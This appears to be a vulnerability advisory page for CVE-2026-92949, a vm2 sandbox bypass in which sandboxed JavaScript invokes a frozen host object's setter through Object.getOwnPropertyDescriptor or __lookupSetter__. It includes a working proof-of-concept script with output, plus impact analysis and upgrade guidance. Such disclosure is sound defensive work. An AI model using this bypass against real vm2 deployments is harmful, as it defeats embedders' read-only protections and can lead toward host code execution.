CVE-2026-92949: vm2 3.9.6 before 3.11.7 Sandbox Bypass via Accessor Descriptor

Published Sep 17, 2026
·
Updated

Summary Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via lookupSetter.

PoC js // poc.js 'use strict'; const { VM } = require('vm2');

let level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return level; }, set(v) { level = String(v); }, enumerable: true, configurable: true, });

const vm = new VM(); vm.freeze(hostConfig, 'cfg');

// Baseline - documented barriers hold: vm.run(cfg.level = 'via-set';); vm.run(try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}); console.log('after [[Set]]/defineProperty:', level); // → "safe"

// Bypass - sandbox mutates host via accessor descriptor: vm.run( const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); ); console.log('after getOwnPropertyDescriptor→set.call:', level); // → "PWNED"

// Variant - same sink via lookupSetter: vm.run(cfg.lookupSetter('level').call(cfg, 'PWNED-2');); console.log('after lookupSetter:', level); // → "PWNED-2"

sh node poc.js

Observed output:

after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after lookupSetter: PWNED-2

The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side level despite vm.freeze().

Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.

Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object (typically process-lifetime).

Other sources

vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or lookupSetter() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.

— MITRE

Affected Software

2 affected componentsFixes available
npm/vm2>3.9.6<3.11.7
npm/vm2>=3.9.6<=3.11.6
3.11.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.7
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.7

Event History

Sep 17, 2026
CVE Published
via MITRE·01:46 PM
Data Sourced
via MITRE·01:46 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:18 PM
DescriptionSeverityWeakness
Oct 1, 2026
Advisory Published
via GitHub·03:35 PM
Data Sourced
via GitHub·03:35 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Applications using npm/vm2 versions from 3.9.6 before 3.11.7 are exposed when they run untrusted or attacker-controlled scripts in a vm2 sandbox and provide those scripts access to frozen or read-only host objects with accessor properties.

2

What does an attacker need to exploit it?

An attacker needs the ability to execute a script inside the affected vm2 sandbox. The script can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to obtain and directly invoke a host object's setter.

3

What is the security impact?

The attacker can mutate properties that the embedder explicitly attempted to protect with vm.freeze() or vm.readonly(). The provided vector indicates integrity impact without confidentiality or availability impact.

4

How can I determine whether my application is affected?

Check whether your application uses npm/vm2 in the affected version range and exposes host objects to sandboxed code through vm.freeze() or vm.readonly(). Review those objects for accessor properties, particularly setters, that sandboxed scripts could inspect.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203